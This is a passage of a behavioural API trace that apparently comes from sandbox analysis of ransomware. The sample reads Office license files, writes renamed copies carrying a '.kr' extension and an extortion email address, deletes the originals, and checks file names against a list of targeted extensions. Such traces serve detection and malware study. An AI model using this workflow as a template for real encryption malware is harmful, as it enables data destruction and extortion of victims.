[0214.760] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0214.790] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0214.791] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.791] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0214.791] SetEndOfFile (hFile=0x538) returned 1 [0214.791] CloseHandle (hObject=0x538) returned 1 [0214.791] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.791] SetEndOfFile (hFile=0x474) returned 1 [0214.795] CloseHandle (hObject=0x474) returned 1 [0214.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms")) returned 1 [0214.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.809] lstrlenW (lpString=".doc") returned 4 [0214.809] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.809] lstrlenW (lpString=".docx") returned 5 [0214.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.809] lstrlenW (lpString=".pdf") returned 4 [0214.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.809] lstrlenW (lpString=".xls") returned 4 [0214.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.809] lstrlenW (lpString=".xlsx") returned 5 [0214.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.809] lstrlenW (lpString=".ppt") returned 4 [0214.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString=".zip") returned 4 [0214.810] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString=".rar") returned 4 [0214.810] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString=".bz2") returned 4 [0214.810] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString=".7z") returned 3 [0214.810] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString=".dbf") returned 4 [0214.810] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString=".1cd") returned 4 [0214.810] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString=".jpg") returned 4 [0214.810] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString=".doc") returned 4 [0214.810] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString=".docx") returned 5 [0214.810] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.810] lstrlenW (lpString=".pdf") returned 4 [0214.810] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString=".xls") returned 4 [0214.810] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString=".xlsx") returned 5 [0214.810] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.810] lstrlenW (lpString=".ppt") returned 4 [0214.810] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.810] lstrlenW (lpString=".zip") returned 4 [0214.811] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.811] lstrlenW (lpString=".rar") returned 4 [0214.811] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.811] lstrlenW (lpString=".bz2") returned 4 [0214.811] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.811] lstrlenW (lpString=".7z") returned 3 [0214.811] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.811] lstrlenW (lpString=".dbf") returned 4 [0214.811] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.811] lstrlenW (lpString=".1cd") returned 4 [0214.811] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0214.811] lstrlenW (lpString=".jpg") returned 4 [0214.811] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.811] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.811] lstrlenW (lpString="ProfessionalR_Trial-ul-oob.xrm-ms") returned 33 [0214.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.812] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11621) returned 1 [0214.812] CloseHandle (hObject=0x474) returned 1 [0214.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms")) returned 0x220 [0214.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.813] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.813] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0214.814] GetLastError () returned 0x0 [0214.814] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0214.816] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0214.817] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.817] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0214.817] SetEndOfFile (hFile=0x538) returned 1 [0214.817] CloseHandle (hObject=0x538) returned 1 [0214.818] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.818] SetEndOfFile (hFile=0x474) returned 1 [0214.820] CloseHandle (hObject=0x474) returned 1 [0214.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms")) returned 1 [0214.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.822] lstrlenW (lpString=".doc") returned 4 [0214.822] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString=".docx") returned 5 [0214.822] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.822] lstrlenW (lpString=".pdf") returned 4 [0214.822] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString=".xls") returned 4 [0214.822] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString=".xlsx") returned 5 [0214.822] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.822] lstrlenW (lpString=".ppt") returned 4 [0214.822] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.822] lstrlenW (lpString=".zip") returned 4 [0214.822] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString=".rar") returned 4 [0214.822] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString=".bz2") returned 4 [0214.822] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString=".7z") returned 3 [0214.822] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.822] lstrlenW (lpString=".dbf") returned 4 [0214.822] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.822] lstrlenW (lpString=".1cd") returned 4 [0214.822] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.822] lstrlenW (lpString=".jpg") returned 4 [0214.822] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.823] lstrlenW (lpString=".doc") returned 4 [0214.823] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString=".docx") returned 5 [0214.823] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.823] lstrlenW (lpString=".pdf") returned 4 [0214.823] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString=".xls") returned 4 [0214.823] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString=".xlsx") returned 5 [0214.823] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.823] lstrlenW (lpString=".ppt") returned 4 [0214.823] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.823] lstrlenW (lpString=".zip") returned 4 [0214.823] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString=".rar") returned 4 [0214.823] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString=".bz2") returned 4 [0214.823] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString=".7z") returned 3 [0214.823] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.823] lstrlenW (lpString=".dbf") returned 4 [0214.823] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.823] lstrlenW (lpString=".1cd") returned 4 [0214.823] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0214.823] lstrlenW (lpString=".jpg") returned 4 [0214.823] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.824] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.824] lstrlenW (lpString="ProjectProCO365R_Subscription-pl.xrm-ms") returned 39 [0214.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.824] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11207) returned 1 [0214.824] CloseHandle (hObject=0x474) returned 1 [0214.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms")) returned 0x220 [0214.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.825] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.825] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0214.826] GetLastError () returned 0x0 [0214.826] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bc7, lpOverlapped=0x0) returned 1 [0215.052] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0215.053] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.053] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x122, lpOverlapped=0x0) returned 1 [0215.053] SetEndOfFile (hFile=0x538) returned 1 [0215.054] CloseHandle (hObject=0x538) returned 1 [0215.054] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.054] SetEndOfFile (hFile=0x474) returned 1 [0215.056] CloseHandle (hObject=0x474) returned 1 [0215.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms")) returned 1 [0215.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.057] lstrlenW (lpString=".doc") returned 4 [0215.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.057] lstrlenW (lpString=".docx") returned 5 [0215.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.057] lstrlenW (lpString=".pdf") returned 4 [0215.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString=".xls") returned 4 [0215.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString=".xlsx") returned 5 [0215.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.058] lstrlenW (lpString=".ppt") returned 4 [0215.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.058] lstrlenW (lpString=".zip") returned 4 [0215.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString=".rar") returned 4 [0215.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString=".bz2") returned 4 [0215.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString=".7z") returned 3 [0215.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.058] lstrlenW (lpString=".dbf") returned 4 [0215.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.058] lstrlenW (lpString=".1cd") returned 4 [0215.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.058] lstrlenW (lpString=".jpg") returned 4 [0215.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.058] lstrlenW (lpString=".doc") returned 4 [0215.058] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.058] lstrlenW (lpString=".docx") returned 5 [0215.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.058] lstrlenW (lpString=".pdf") returned 4 [0215.059] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString=".xls") returned 4 [0215.059] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString=".xlsx") returned 5 [0215.059] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.059] lstrlenW (lpString=".ppt") returned 4 [0215.059] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.059] lstrlenW (lpString=".zip") returned 4 [0215.059] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString=".rar") returned 4 [0215.059] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString=".bz2") returned 4 [0215.059] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString=".7z") returned 3 [0215.059] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.059] lstrlenW (lpString=".dbf") returned 4 [0215.059] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.059] lstrlenW (lpString=".1cd") returned 4 [0215.059] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0215.059] lstrlenW (lpString=".jpg") returned 4 [0215.059] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.059] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.059] lstrlenW (lpString="ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 41 [0215.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.060] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20983) returned 1 [0215.060] CloseHandle (hObject=0x474) returned 1 [0215.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0215.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.061] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.061] SetFilePointerEx (in: hFile=0x474, 